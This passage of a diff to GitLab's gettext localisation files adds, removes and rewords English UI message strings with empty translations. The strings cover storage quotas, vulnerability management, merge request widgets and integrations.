-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ba_RU/gitlab.po b/locale/ba_RU/gitlab.po
index 2613419ddde..84e06ac64c3 100644
--- a/locale/ba_RU/gitlab.po
+++ b/locale/ba_RU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ba\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -342,6 +351,12 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -413,6 +428,10 @@ msgstr[0] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -744,6 +763,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -775,6 +797,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -819,9 +844,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1043,6 +1068,10 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1089,6 +1121,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1369,9 +1404,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1936,9 +1971,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2008,6 +2040,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2053,9 +2088,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2098,7 +2130,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2107,7 +2139,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3439,6 +3480,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3598,6 +3642,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3875,9 +3925,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
